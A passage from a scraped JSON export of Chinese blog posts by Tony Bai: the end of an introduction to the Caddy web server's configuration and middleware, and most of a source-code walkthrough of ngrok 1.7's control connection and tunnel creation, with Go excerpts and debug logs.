releases页中找到最新发布版(目前是0.7.1)的二进制包。这里使用的是caddy_darwin_amd64.zip。\n下载解压后，进入目录，直接执行./caddy即可将caddy运行起来。\n$caddy\n0.0.0.0:2015\n在浏览器里访问localhost:2015，页面上没有预期显示的类似\u0026quot;caddy works!”之类的默认Welcome页面，而是“404 Not Found\u0026quot;。虽然这说明caddy已经work了，但没有一个default welcome page毕竟对于caddy beginer来说并不友好。这里已经向作者提了一个sugguestion issue。\n二、caddy原理\nGo的net/http标准库已经提供了http server的实现，大多数场合这个http server都能满足你的需要，无论是功能还是性能。Caddy实质上也是一个Go web app，它也import net/http，嵌入*http.Server，并通过handler的ServeHTTP方法为每个请求提供服务。caddy使用 http.FileServer作为处理 静态文件的基础。caddy的诱人之处在于其middleware，将诸多middleware串成一个middleware chain以提供了灵活的web服务。另外caddy中的middleware还可以独立于caddy之外使用。\ncaddy从当前目录的Caddyfile（默认）文件中读取配置，当然你也可以通过-conf指定配置文件路径。Caddyfile的配置格式 的确非常easy，这也符合caddy的目标。\nCaddyfile总是以站点的Addr开始的。\n单一站点的Caddyfile样例如下：\n//Caddyfile\nlocalhost:2015\ngzip\nlog ./2015.log\nCaddy也支持配置多个站点,类似virtualhost的 配置(80端口多路复用)：\n//Caddyfile\nfoo.com:80 {\nlog ./foo.log\ngzip\n}\nbar.com:80 {\nlog ./bar.log\ngzip\n}\n为了实现风格上的统一，单一站点也最好配置为如下这种格式(代码内部称之为 Server Block)：\nlocalhost:2015 {\ngzip\nlog ./2015.log\n}\n这样Caddyfile的配置文件模板样式类似于下面这样：\nhost1:port {\nmiddleware1\nmiddleware2 {\n… …\n}\n… …\n}\nhost2:port {\nmiddleware1\nmiddleware2 {\n… …\n}\n… …\n}\n… …\n关于middleware，在caddy文档中有较为详细的说明和例子。对于caddy这样一个年轻的开源项目而言，其文档还算是相对较全的，虽 然现在还不能和nginx、 apache比。\ncaddy中的middleware就是一个实现了middleware.Handler接口的struct，例如gzip这个 middleware:\n// middleware.go\ntype Middleware func(Handler) Handler\ntype Handler interface {\nServeHTTP(http.ResponseWriter, *http.Request) (int, error)\n}\n// gzip/gzip.go\ntype Gzip struct {\nNext middleware.Handler\n}\nfunc (g Gzip) ServeHTTP(w http.ResponseWriter, r *http.Request) (int, error) {\nif !strings.Contains(r.Header.Get(\u0026ldquo;Accept-Encoding\u0026rdquo;), \u0026ldquo;gzip\u0026rdquo;) {\nreturn g.Next.ServeHTTP(w, r)\n}\n…. …\ngz := gzipResponseWriter{Writer: gzipWriter, ResponseWriter: w}\n// Any response in forward middleware will now be compressed\nstatus, err := g.Next.ServeHTTP(gz, r)\n… …\n}\nmiddleware.Handler的函数原型与http.Handler的不同，不能直接作为http.Server的Handler使用。caddy使用了下面这个idiomatic go pattern:\ntype appHandler func(http.ResponseWriter, *http.Request) (int, error)\nfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\nif status, err := fn(w, r); err != nil {\nhttp.Error(w, err.Error(), status)\n}\n}\n当然这个pattern有很多变种，但思路大致类似。一个middleware chain大致就是handler1(handler2(handler3))的调用传递。\n前面说过caddy是基于http.FileServer的静态文件Web Server，FileServer总会作为middleware chain的最后一环，如果没有配置任何middleware，那你的server就是一个静态文件server。\n三、caddy典型应用\n【静态文件Server】\ncaddy的最基础应用实际就是一个静态文件Server，底层由http.FileServer承载，当然caddy封装了http.FileServer，做了一些拦截处理，最后将w, r传递给http.ServeContent去处理文件数据。\n第一次执行./caddy，实际上就启动了一个静态文件Server。但这个server不默认支持你navigate directory。如果你知道website root目录(如果没有指定root，则caddy执行的当前路径会作为website的root路径)下的文件名，比如foo.txt，你可以在浏览器 中输入：localhost:2015/foo.txt，caddy会执行正确的服务，浏览器也会显示foo.txt的全文。\n对于静态文件Server，caddy支持在website的root路径下首先查找是否有如下四个文件：\n//caddy/middleware/browse/browse.go\nvar IndexPages = []string{\n\u0026ldquo;index.html\u0026rdquo;,\n\u0026ldquo;index.htm\u0026rdquo;,\n\u0026ldquo;default.html\u0026rdquo;,\n\u0026ldquo;default.htm\u0026rdquo;,\n}\n如果查到有其中一个，则优先返回这个文件内容，这就是静态站点的首页。\n如果要支持目录文件列表浏览，则需要为website配置browse middleware，这样对于无index file的目录，我们可以看到目录文件列表。\nlocalhost:2015 {\nbrowse\n}\n【反向代理】\ncaddy支持基本的反向代理功能。反向代理配置通过proxy middleware实现。\nlocalhost:2015 {\nlog ./2015.log\nproxy /foo localhost:9001\nproxy /bar localhost:9002\n}\n当你访问localhost:2015/foo时，实际上访问的是9001端口的服务程序；\n当你访问localhost:2015/bar时，实际上访问的是9002端口的服务程序。\n【负载均衡】\nCaddy支持负载均衡配置，并支持三种负载均衡算法：random（随机）、least_conn（最少连接）以及round_robin(轮询调度)。\n负载均衡同样是通过proxy middleware实现的。\nlocalhost:2015 {\nlog ./2015.log\nproxy / localhost:9001 localhost:9003 {\npolicy round_robin\n}\nproxy /bar localhost:9002 localhost:9004 {\npolicy least_conn\n}\n}\n【支持fastcgi代理】\ncaddy同样支持fastcgi代理，可以将请求通过fastcgi接口发送给后端的实现fastcgi的server。我们以一个\u0026quot;hello world\u0026quot;的php server为例。\nmac os上自带了php-fpm，一个实现了fastcgi的php cgi进程管理器。caddy将请求转发给php-fpm监听的端口，后者会启动php-cgi解释器，解释index.php，并将结果返回给caddy。\nmac os上的php-fpm默认没有随机启动。我们需要简单配置一下：\n$mkdir phptest\n$mkdir -p phptest/etc\n$mkdir -p phptest/log\n$cd phptest\n$sudo cp /private/etc/php-fpm.conf.default ./etc\n$cd ./etc\n$sudo chown tony php-fpm.conf.default\n$mv php-fpm.conf.default php-fpm.conf\n编辑php-fpm.conf，保证下面两项是非注释状态的：\nerror_log = log/php-fpm.log\nlisten = 127.0.0.1:9000\n我们通过network socket进行fastcgi通信。\n回到phptest目录下，执行:\nphp-fpm -p ~/test/go/caddy/phptest\n执行后，php-fpm就会转入后台执行了。\n接下来我们来配置Caddyfile：\nlocalhost:2015 {\nfastcgi / 127.0.0.1:9000 php\nlog ./2015.log\n}\n这里配置的含义是：将全部请求转发到9000端口，这里的php是一个preset（预配置集合），相当于：\next .php\nsplit .php\nindex index.php\n我们在phptest目录下创建一个index.php文件，内容如下：\n\u003c?php echo \"Hello World\\\\n\"; ?\u003e 好了，现在启动caddy，并使用浏览器访问localhost:2015试试。你会看到\u0026quot;Hello World\u0026quot;呈现在浏览器中。\n【git push发布】\n对于一些静态站点，caddy支持git directive，实现在server启动以及运行时定期git pull你的项目库，将最新更新pull到server上。\ncaddy文档中给出两个例子：\n第一个是一个php站点，定期pull项目库，实现server更新：\ngit git@github.com:user/myphpsite {\nkey /home/user/.ssh/id_rsa\n}\nfastcgi / 127.0.0.1:9000 php\n第二个是一个hugo支撑的静态站点，每次pull后，执行hugo命令生成新的静态页面：\ngit github.com/user/site {\npath ../\nthen hugo –destination=/home/user/hugosite/public\n}\n注意：git directive并非middleware，而是一个单独的goroutine实现的。\n四、小结\ncaddy的功能不局限于上面的几个例子，上面只是几个最为常见的场景而已。caddy目前还很年轻，应用不多，但知名golang网站 gopheracademy.com（GopherCon组织方）是由Caddy support的。caddy还在积极进化，有兴趣的Gopher可持续关注。\n","permalink":"https://tonybai.com/2015/06/04/caddy-a-web-server-in-go/","summary":"\u003cp\u003e这是一个Web Server的时代，\u003ca href=\"http://httpd.apache.org/\"\u003eapache2\u003c/a\u003e与\u003ca href=\"http://nginx.org/\"\u003enginx\u003c/a\u003e共舞，在追求极致性能的路上，没有最高，只有更高。但这又是一个追求个性化的时代，有些Web Server并没有去挤“Performance提升”这一独木桥，而是有着自己的定位，\u003ca href=\"https://github.com/mholt/caddy\"\u003eCaddy\u003c/a\u003e就是这样一个开源Web Server。\u003c/p\u003e\n\u003cp\u003eCaddy的作者Matt Holt在\u003ca href=\"http://caddyserver.com/\"\u003ecaddy官网\u003c/a\u003e以及FAQ中对caddy的目标阐释如下： 其他Web Server为Web而设计，Caddy为human设计。功能定位上，与经常充当最前端反向代理的nginx不同，caddy致力于成为一个易用的静态 文件Web Server。可以看出Caddy主打易用性，使用配置简单。并且得益于Go的跨平台特性，caddy很容易的支持了三大主流平台:Windows、 Linux、Mac。在Caddy开发者文档中，我们可以看到caddy还可以在Android(linux arm)上运行。caddy目前版本为0.7.1，还不稳定，且后续版本可能变化较大，甚至与前期版本不兼容，因此作者目前不推荐caddy在生产环境被 重度使用。\u003c/p\u003e","title":"Caddy，一个用Go实现的Web Server"},{"content":"之前在进行微信Demo开发时曾用到过ngrok这个强大的tunnel(隧道)工具，ngrok在其github官方页面上的自我诠释是 “introspected tunnels to localhost\u0026quot;，这个诠释有两层含义：\n1、可以用来建立public到localhost的tunnel，让居于内网主机上的服务可以暴露给public，俗称内网穿透。\n2、支持对隧道中数据的introspection（内省），支持可视化的观察隧道内数据，并replay（重放）相关请求（诸如http请 求）。\n因此ngrok可以很便捷的协助进行服务端程序调试，尤其在进行一些Web server开发中。ngrok更强大的一点是它支持tcp层之上的所有应用协议或者说与应用层协议无关。比如：你可以通过ngrok实现ssh登录到内 网主 机，也可以通过ngrok实现远程桌面(VNC)方式访问内网主机。\n今天我们就来简单分析一下这款强大工具的实现原理。ngrok本身是用go语言实现的，需要go 1.1以上版本编译。ngrok官方代码最新版为1.7，作者似乎已经完成了ngrok 2.0版本，但不知为何迟迟不放出最新代码。因此这里我们就以ngrok 1.7版本源码作为原理分析的基础。\n一、ngrok tunnel与ngrok部署\n网络tunnel（隧道）对多数人都是很”神秘“的概念，tunnel种类很多，没有标准定义，我了解的也不多（日常工作较少涉及），这里也就不 深入了。在《HTTP权威指南》中有关于HTTP tunnel（http上承载非web流量）和SSL tunnel的说明，但ngrok中的tunnel又与这些有所不同。\nngrok实现了一个tcp之上的端到端的tunnel，两端的程序在ngrok实现的Tunnel内透明的进行数据交互。\nngrok分为client端(ngrok)和服务端(ngrokd)，实际使用中的部署如下：\n内网服务程序可以与ngrok client部署在同一主机，也可以部署在内网可达的其他主机上。ngrok和ngrokd会为建立与public client间的专用通道（tunnel）。\n**二、**ngrok开发调试环境搭建\n在学习ngrok代码或试验ngrok功能的时候，我们可能需要搭建一个ngrok的开发调试环境。ngrok作者在ngrok developer guide中给出了步骤：\n$\u0026gt; git clone https://github.com/inconshreveable/ngrok\n$\u0026gt; cd ngrok\n$\u0026gt; make client\n$\u0026gt; make server\nmake client和make server执行后，会建构出ngrok和ngrokd的debug版本。如果要得到release版本，请使用make release-client和make release-server。debug版本与release版本的区别在于debug版本不打包 assets下的资源文件，执行时通过文件系统访问。\n修改/etc/hosts文件，添加两行：\n127.0.0.1 ngrok.me\n127.0.0.1 test.ngrok.me\n创建客户端配置文件debug.yml：\nserver_addr: ngrok.me:4443\ntrust_host_root_certs: false\ntunnels:\ntest:\nproto:\nhttp: 8080\n不过要想让ngrok与ngrokd顺利建立通信，我们还得制作数字证书(自签发)，源码中自带的证书是无法使用的，证书制作方法可参见《搭建自 己的ngrok服务》一文，相关原理可参考《Go和HTTPS》一文，这里就不赘述了。\n我直接使用的是release版本(放在bin/release下)，这样在执行命令时可以少传入几个参数：\n启动服务端：\n$\u0026gt; sudo ./bin/release/ngrokd -domain ngrok.me\n[05/13/15 17:15:37] [INFO] Listening for public http connections on [::]:80\n[05/13/15 17:15:37] [INFO] Listening for public https connections on [::]:443\n[05/13/15 17:15:37] [INFO] Listening for control and proxy connections on [::]:4443\n启动客户端：\n$\u0026gt; ./bin/release/ngrok -config=debug.yml -log=ngrok.log -subdomain=test 8080\n有了调试环境，我们就可以通过debug日志验证我们的分析了。\nngrok的源码结构如下：\ndrwxr-xr-x 3 tony staff 102 3 31 16:09 cache/\ndrwxr-xr-x 16 tony staff 544 5 13 17:21 client/\ndrwxr-xr-x 4 tony staff 136 5 13 15:02 conn/\ndrwxr-xr-x 3 tony staff 102 3 31 16:09 log/\ndrwxr-xr-x 4 tony staff 136 3 31 16:09 main/\ndrwxr-xr-x 5 tony staff 170 5 12 16:17 msg/\ndrwxr-xr-x 5 tony staff 170 3 31 16:09 proto/\ndrwxr-xr-x 11 tony staff 374 5 13 17:21 server/\ndrwxr-xr-x 7 tony staff 238 3 31 16:09 util/\ndrwxr-xr-x 3 tony staff 102 3 31 16:09 version/\nmain目录下的ngrok/和ngrokd/分别是ngrok和ngrokd main包，main函数存放的位置，但这里仅仅是一个stub。以ngrok为例：\n// ngrok/src/ngrok/main/ngrok/ngrok.go\npackage main\nimport (\n\u0026ldquo;ngrok/client\u0026rdquo;\n)\nfunc main() {\nclient.Main()\n}\n真正的“main”被client包的Main函数实现。\nclient/和server/目录分别对应ngrok和ngrokd的主要逻辑，其他目录（或包）都是一些工具类的实现。\n三、第一阶段：Control Connection建立\n在ngrokd的启动日志中我们可以看到这样一行：\n[INFO] Listening for control and proxy connections on [::]:4443\nngrokd在4443端口（默认）监听control和proxy connection。Control Connection，顾名思义“控制连接”，有些类似于FTP协议的控制连接（不知道ngrok作者在设计协议时是否参考了FTP协议^_^）。该连接 只用于收发控制类消息。作为客户端的ngrok启动后的第一件事就是与ngrokd建立Control Connection，建立过程序列图如下：\n前面提到过，ngrok客户端的实际entrypoint在ngrok/src/ngrok/client目录下，包名client，实际入口是 client.Main函数。\n//ngrok/src/ngrok/client/main.go\nfunc Main() {\n// parse options\n// set up logging\n// read configuration file\n…. …\nNewController().Run(config)\n}\nngrok采用了MVC模式构架代码，这既包括ngrok与ngrokd之间的逻辑处理，也包括ngrok本地web页面（用于隧道数据的 introspection）的处理。\n//ngrok/src/ngrok/client/controller.go\nfunc (ctl *Controller) Run(config *Configuration) {\nvar model *ClientModel\nif ctl.model == nil {\nmodel = ctl.SetupModel(config)\n} else {\nmodel = ctl.model.(*ClientModel)\n}\n// init the model\n// init web ui\n// init term ui\n… …\nctl.Go(ctl.model.Run)\n… …\n}\n我们来继续看看model.Run都做了些什么。\n//ngrok/src/ngrok/client/model.go\nfunc (c *ClientModel) Run() {\n… …\nfor {\n// run the control channel\nc.control()\n… …\nif c.connStatus == mvc.ConnOnline {\nwait = 1 * time.Second\n}\n… …\nc.connStatus = mvc.ConnReconnecting\nc.update()\n}\n}\nRun函数调用c.control来运行Control Connection的主逻辑，并在control connection断开后，尝试重连。\nc.control是ClientModel的一个method，用来真正建立ngrok到ngrokd的control connection，并完成基于ngrok的鉴权（用户名、密码配置在配置文件中）。\n//ngrok/src/ngrok/client/model.go\nfunc (c *ClientModel) control() {\n… …\nvar (\nctlConn conn.Conn\nerr error\n)\nif c.proxyUrl == \u0026quot;\u0026quot; {\n// simple non-proxied case, just connect to the server\nctlConn, err = conn.Dial(c.serverAddr, \u0026ldquo;ctl\u0026rdquo;, c.tlsConfig)\n} else {……}\n… …\n// authenticate with the server\nauth := \u0026amp;msg.Auth{\nClientId: c.id,\nOS: runtime.GOOS,\nArch: runtime.GOARCH,\nVersion: version.Proto,\nMmVersion: version.MajorMinor(),\nUser: c.authToken,\n}\nif err = msg.WriteMsg(ctlConn, auth); err != nil {\npanic(err)\n}\n// wait for the server to authenticate us\nvar authResp msg.AuthResp\nif err = msg.ReadMsgInto(ctlConn, \u0026amp;authResp); err != nil {\npanic(err)\n}\n… …\nc.id = authResp.ClientId\n… ..\n}\nngrok封装了connection相关操作，代码在ngrok/src/ngrok/conn下面，包名conn。\n//ngrok/src/ngrok/conn/conn.go\nfunc Dial(addr, typ string, tlsCfg *tls.Config) (conn *loggedConn, err error) {\nvar rawConn net.Conn\nif rawConn, err = net.Dial(\u0026ldquo;tcp\u0026rdquo;, addr); err != nil {\nreturn\n}\nconn = wrapConn(rawConn, typ)\nconn.Debug(\u0026ldquo;New connection to: %v\u0026rdquo;, rawConn.RemoteAddr())\nif tlsCfg != nil {\nconn.StartTLS(tlsCfg)\n}\nreturn\n}\nngrok首先创建一条TCP连接，并基于该连接创建了TLS client：\nfunc (c *loggedConn) StartTLS(tlsCfg *tls.Config) {\nc.Conn = tls.Client(c.Conn, tlsCfg)\n}\n不过此时并未进行TLS的初始化，即handshake。handshake发生在ngrok首次向ngrokd发送auth消息（msg.WriteMsg, ngrok/src/ngrok/msg/msg.go）时，go标准库的TLS相关函数默默的完成这一handshake过程。我们经常遇到的ngrok证书验证失败等问题，就发生在该过程中。\n在AuthResp中，ngrokd为该Control Connection分配一个ClientID，该ClientID在后续Proxy Connection建立时使用，用于关联和校验之用。\n前面的逻辑和代码都是ngrok客户端的，现在我们再从ngrokd server端代码review一遍Control Connection的建立过程。\nngrokd的代码放在ngrok/src/ngrok/server下面，entrypoint如下：\n//ngrok/src/ngrok/server/main.go\nfunc Main() {\n// parse options\nopts = parseArgs()\n// init logging\n// init tunnel/control registry\n… …\n// start listeners\nlisteners = make(map[string]*conn.Listener)\n// load tls configuration\ntlsConfig, err := LoadTLSConfig(opts.tlsCrt, opts.tlsKey)\nif err != nil {\npanic(err)\n}\n// listen for http\n// listen for https\n… …\n// ngrok clients\ntunnelListener(opts.tunnelAddr, tlsConfig)\n}\nngrokd启动了三个监听，其中最后一个tunnelListenner用于监听ngrok发起的Control Connection或者后续的proxy connection，作者意图通过一个端口，监听两种类型连接，旨在于方便部署。\n//ngrok/src/ngrok/server/main.go\nfunc tunnelListener(addr string, tlsConfig *tls.Config) {\n// listen for incoming connections\nlistener, err := conn.Listen(addr, \u0026ldquo;tun\u0026rdquo;, tlsConfig)\n… …\nfor c := range listener.Conns {\ngo func(tunnelConn conn.Conn) {\n… …\nvar rawMsg msg.Message\nif rawMsg, err = msg.ReadMsg(tunnelConn); err != nil {\ntunnelConn.Warn(\u0026ldquo;Failed to read message: %v\u0026rdquo;, err)\ntunnelConn.Close()\nreturn\n}\n… …\nswitch m := rawMsg.(type) {\ncase *msg.Auth:\nNewControl(tunnelConn, m)\n… …\n}\n}(c)\n}\n}\n从tunnelListener可以看到，当ngrokd在新建立的Control Connection上收到Auth消息后，ngrokd执行NewControl来处理该Control Connection上的后续事情。\n//ngrok/src/ngrok/server/control.go\nfunc NewControl(ctlConn conn.Conn, authMsg *msg.Auth) {\nvar err error\n// create the object\nc := \u0026amp;Control{\n… …\n}\n// register the clientid\n… …\n// register the control\n… …\n// start the writer first so that\n// the following messages get sent\ngo c.writer()\n// Respond to authentication\nc.out \u0026lt;- \u0026amp;msg.AuthResp{\nVersion: version.Proto,\nMmVersion: version.MajorMinor(),\nClientId: c.id,\n}\n// As a performance optimization,\n// ask for a proxy connection up front\nc.out \u0026lt;- \u0026amp;msg.ReqProxy{}\n// manage the connection\ngo c.manager()\ngo c.reader()\ngo c.stopper()\n}\n在NewControl中，ngrokd返回了AuthResp。到这里，一条新的Control Connection建立完毕。\n我们最后再来看一下Control Connection建立过程时ngrok和ngrokd的输出日志，增强一下感性认知：\nngrok Server:\n[INFO] [tun:d866234] New connection from 127.0.0.1:59949\n[DEBG] [tun:d866234] Waiting to read message\n[DEBG] [tun:d866234] Reading message with length: 126\n[DEBG] [tun:d866234] Read message {\u0026ldquo;Type\u0026rdquo;:\u0026quot;Auth\u0026quot;,\n\u0026ldquo;Payload\u0026rdquo;:{\u0026ldquo;Version\u0026rdquo;:\u0026ldquo;2\u0026rdquo;,\u0026ldquo;MmVersion\u0026rdquo;:\u0026ldquo;1.7\u0026rdquo;,\u0026ldquo;User\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;Password\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;OS\u0026rdquo;:\u0026ldquo;darwin\u0026rdquo;,\u0026ldquo;Arch\u0026rdquo;:\u0026ldquo;amd64\u0026rdquo;,\u0026ldquo;ClientId\u0026rdquo;:\u0026quot;\u0026quot;}}\n[INFO] [ctl:d866234] Renamed connection tun:d866234\n[INFO] [registry] [ctl] Registered control with id ac1d14e0634f243f8a0cc2306bb466af\n[DEBG] [ctl:d866234] [ac1d14e0634f243f8a0cc2306bb466af] Writing message: {\u0026ldquo;Type\u0026rdquo;:\u0026quot;AuthResp\u0026quot;,\u0026ldquo;Payload\u0026rdquo;:{\u0026ldquo;Version\u0026rdquo;:\u0026ldquo;2\u0026rdquo;,\u0026ldquo;MmVersion\u0026rdquo;:\u0026ldquo;1.7\u0026rdquo;,\u0026ldquo;ClientId\u0026rdquo;:\u0026quot;ac1d14e0634f243f8a0cc2306bb466af\u0026quot;,\u0026ldquo;Error\u0026rdquo;:\u0026quot;\u0026quot;}}\nClient:\n[INFO] (ngrok/log.Info:112) Reading configuration file debug.yml\n[INFO] (ngrok/log.(*PrefixLogger).Info:83) [client] Trusting root CAs: [assets/client/tls/ngrokroot.crt]\n[INFO] (ngrok/log.(*PrefixLogger).Info:83) [view] [web] Serving web interface on 127.0.0.1:4040\n[INFO] (ngrok/log.Info:112) Checking for update\n[DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [view] [term] Waiting for update\n[DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [ctl:31deb681] New connection to: 127.0.0.1:4443\n[DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [ctl:31deb681] Writing message: {\u0026ldquo;Type\u0026rdquo;:\u0026quot;Auth\u0026quot;,\u0026ldquo;Payload\u0026rdquo;:{\u0026ldquo;Version\u0026rdquo;:\u0026ldquo;2\u0026rdquo;,\u0026ldquo;MmVersion\u0026rdquo;:\u0026ldquo;1.7\u0026rdquo;,\u0026ldquo;User\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;Password\u0026rdquo;:\u0026quot;\u0026quot;,\u0026ldquo;OS\u0026rdquo;:\u0026ldquo;darwin\u0026rdquo;,\u0026ldquo;Arch\u0026rdquo;:\u0026ldquo;amd64\u0026rdquo;,\u0026ldquo;ClientId\u0026rdquo;:\u0026quot;\u0026quot;}}\n[DEBG] (ngrok/log.(*PrefixLogger).Debug:79) [ctl:31deb681] Waiting to read message\n(ngrok/log.(*PrefixLogger).Debug:79) [ctl:31deb681] Reading message with length: 120\n(ngrok/log.(*PrefixLogger).Debug:79) [ctl:31deb681] Read message {\u0026ldquo;Type\u0026rdquo;:\u0026quot;AuthResp\u0026quot;,\u0026ldquo;Payload\u0026rdquo;:{\u0026ldquo;Version\u0026rdquo;:\u0026ldquo;2\u0026rdquo;,\u0026ldquo;MmVersion\u0026rdquo;:\u0026ldquo;1.7\u0026rdquo;,\u0026ldquo;ClientId\u0026rdquo;:\u0026ldquo;ac1d14e0634f243f8a0cc2306bb466af\u0026rdquo;,\u0026ldquo;Error\u0026rdquo;:\u0026quot;\u0026quot;}}\n[INFO] (ngrok/log.(*PrefixLogger).Info:83) [client] Authenticated with server, client id: ac1d14e0634f243f8a0cc2306bb466af\n四、Tunnel Creation\nTunnel Creation是ngrok将配置文件中的tunnel信息通过刚刚建立的Control Connection传输给 ngrokd，ngrokd登记、启动相应端口监听（如果配置了remote_port或多路复用ngrokd默认监听的http和https端口）并返回相应应答。ngrok和ngrokd之间并未真正建立新连接。\n我们回到ngrok的model.go，继续看ClientModel的control方法。在收到AuthResp后，ngrok还做了如下事情：\n//ngrok/src/ngrok/client/model.go\n// request tunnels\nreqIdToTunnelConfig := make(map[string]*TunnelConfiguration)\nfor _, config := range c.tunnelConfig {\n// create the protocol list to ask for\nvar protocols []string\nfor proto, _ := range config.Protocols {\nprotocols = append(protocols, proto)\n}\nreqTunnel := \u0026amp;msg.ReqTunnel{\n… …\n}\n// send the tunnel request\nif err = msg.WriteMsg(ctlConn, reqTunnel); err != nil {\npanic(err)\n}\n// save request id association so we know which local address\n// to proxy to later\nreqIdToTunnelConfig[reqTunnel.ReqId] = config\n}\n// main control loop\nfor {\nvar rawMsg msg.Message\nswitch m := rawMsg.(type) {\n… …\ncase *msg.NewTunnel:\n… …\ntunnel := mvc.Tunnel{\n… …\n}\nc.tunnels[tunnel.PublicUrl] = tunnel\nc.connStatus = mvc.ConnOnline\nc.update()\n… …\n}\n}\nngrok将配置的Tunnel信息逐一以ReqTunnel消息发送给ngrokd以注册登记Tunnel，并在随后的main control loop中处理ngrokd回送的NewTunnel消息，完成一些登记索引工作。\nngrokd Server端对tunnel creation的处理是在NewControl的结尾处：\n//ngrok/src/ngrok/server/control.go\nfunc NewControl(ctlConn conn.Conn, authMsg *msg.Auth) {\n… …\n// manage the connection\ngo c.manager()\n… …\n}\nfunc (c *Control) manager() {\n//… …\nfor {\nselect {\ncase \u0026lt;-reap.C:\n… …\ncase mRaw, ok := \u0026lt;-c.in:\n// c.in closes to indicate shutdown\nif !ok {\nreturn\n}\nswitch m := mRaw.(type) {\ncase *msg.ReqTunnel:\nc.registerTunnel(m)\n.. …\n}\n}\n}\n}\nControl的manager在收到ngrok发来的ReqTunnel消息后，调用registerTunnel进行处理。\n// ngrok/src/ngrok/server/control.go\n// Register a new tunnel on this control connection\nfunc (c *Control) registerTunnel(rawTunnelReq *msg.ReqTunnel) {\nfor _, proto := range strings.Split(rawTunnelReq.Protocol, \u0026ldquo;+\u0026rdquo;) {\ntunnelReq := *rawTunnelReq\ntunnelReq.Protocol = proto\nc.conn.Debug(\u0026ldquo;Registering new tunnel\u0026rdquo;)\nt, err := NewTunnel(\u0026amp;tunnelReq, c)\nif err != nil {\nc.out \u0026lt;- \u0026amp;msg.NewTunnel{Error: err.Error()}\nif len(c.tunnels) == 0 {\nc.shutdown.Begin()\n}\n// we\u0026rsquo;re done\nreturn\n}\n// add it to the list of tunnels\nc.tunnels = append(c.tunnels, t)\n// acknowledge success\nc.out \u0026lt;- \u0026amp;msg.NewTunnel{\nUrl: t.url,\nProtocol: proto,\nReqId: rawTunnelReq.ReqId,\n}\nrawTunnelReq.Hostname = strings.Replace(t.url, proto+\u0026quot;://\u0026quot;, \u0026ldquo;\u0026rdquo;, 1)\n}\n}\nServer端创建tunnel的实际工作由NewTunnel完成：\n// ngrok/src/ngrok/server/tunnel.go\nfunc NewTunnel(m *msg.ReqTunnel, ctl *Control) (t *Tunnel, err error) {\nt = \u0026amp;Tunnel{\n… …\n}\nproto := t.req.Protocol\nswitch proto {\ncase \u0026ldquo;tcp\u0026rdquo;:\nbindTcp := func(port int) error {\nif t.listener, err = net.ListenTCP(\u0026ldquo;tcp\u0026rdquo;,\n\u0026amp;net.TCPAddr{IP: net.ParseIP(\u0026ldquo;0.0.0.0\u0026rdquo;),\nPort: port}); err != nil {\n… …\nreturn err\n}\n// create the url\naddr := t.listener.Addr().(*net.TCPAddr)\nt.url = fmt.Sprintf(\u0026ldquo;tcp://%s:%d\u0026rdquo;, opts.domain, addr.Port)\n// register it\nif err = tunnelRegistry.RegisterAndCache(t.url, t);\nerr != nil {\n… …\nreturn err\n}\ngo t.listenTcp(t.listener)\nreturn nil\n}\n// use the custom remote port you asked for\nif t.req.RemotePort != 0 {\nbindTcp(int(t.req.RemotePort))\nreturn\n}\n// try to return to you the same port you had before\ncachedUrl := tunnelRegistry.GetCachedRegistration(t)\nif cachedUrl != \u0026quot;\u0026quot; {\n… …\n}\n// Bind for TCP connections\nbindTcp(0)\nreturn\ncase \u0026ldquo;http\u0026rdquo;, \u0026ldquo;https\u0026rdquo;:\nl, ok := listeners[proto]\nif !ok {\n… …\nreturn\n}\nif err = **registerVhost(**t, proto, l.Addr.(*net.TCPAddr).Port);\nerr != nil {\nreturn\n}\ndefault:\nerr = fmt.Errorf(\u0026ldquo;Protocol %s is not supported\u0026rdquo;, proto)\nreturn\n}\n… …\nmetrics.OpenTunnel(t)\nreturn\n}\n可以看出，NewTunnel区别对待tcp和http/https隧道：\n- 对于Tcp隧道，NewTunnel先要看是否配置了remote_port，如果remote_port不为空，则启动监听这个 remote_port。否则尝试从cache里找出你之前创建tunnel时使用的端口号，如果可用，则监听这个端口号，否则bindTcp(0)，即 随机选择一个端口作为该tcp tunnel的remote_port。\n- 对于http/https隧道，ngrokd启动时就默认监听了80和443，如果ngrok请求建立http/https隧道(目前不支持设置remote_port)，则ngrokd通过一种自实现的vhost的机制实现所有http/https请求多路复用到80和443端口上。ngrokd不会新增监听端口。\n从下面例子，我们也可以看出一些端倪。我们将debug.yml改为：\nserver_addr: ngrok.me:4443\ntrust_host_root_certs: false\ntunnels:\ntest:\nproto:\nhttp: 8080\ntest1:\nproto:\nhttp: 8081\nssh1:\nremote_port: 50000\nproto:\ntcp: 22\nssh2:\nproto:\ntcp: 22\n启动ngrok：\n$./bin/release/ngrok -config=debug.yml -log=ngrok.log start test test1 ssh1 ssh2\nTunnel Status online\nVersion 1.7/1.7\nForwarding tcp://ngrok.me:50000 -\u0026gt; 127.0.0.1:22\nForwarding tcp://ngrok.me:56297 -\u0026gt; 127.0.0.1:22\nForwarding http://test.ngrok.me -\u0026gt; 127.0.0.1:8080\nForwarding http://test1.ngrok.me -\u0026gt; 127.0.0.1:8081\nWeb Interface 127.0.0.1:4040\n可以看出ngrokd为ssh2随机挑选了一个端口56297进行了监听，而两个http隧道，则都默认使用了80端口。\n如果像下面这样配置会发生什么呢？\nssh1:\nremote_port: 50000\nproto:\ntcp: 22\nssh2:\nremote_port: 50000\nproto:\ntcp: 22\nngrok启动会得到错误信息：\nServer failed to allocate tunnel: [ctl:5332a293] [a87bd111bcc804508c835714c18a5664] Error binding TCP listener: listen tcp 0.0.0.0:50000: bind: address already in use\n客户端ngrok在ClientModel control方法的main control loop中收到NewTunnel并处理该消息：\ncase *msg.NewTunnel:\nif m.Error != \u0026quot;\u0026quot; {\n… …\n}\ntunnel := mvc.Tunnel{\nPublicUrl: m.Url,\nLocalAddr: reqIdToTunnelConfig[m.ReqId].Protocols[m.Protocol],\nProtocol: c.protoMap[m.Protocol],\n}\nc.tunnels[tunnel.PublicUrl] = tunnel\nc.connStatus = mvc.ConnOnline\nc.Info(\u0026ldquo;Tunnel established at %v\u0026rdquo;, tunnel.PublicUrl)\nc.update()\n五、Proxy Connection****和Private 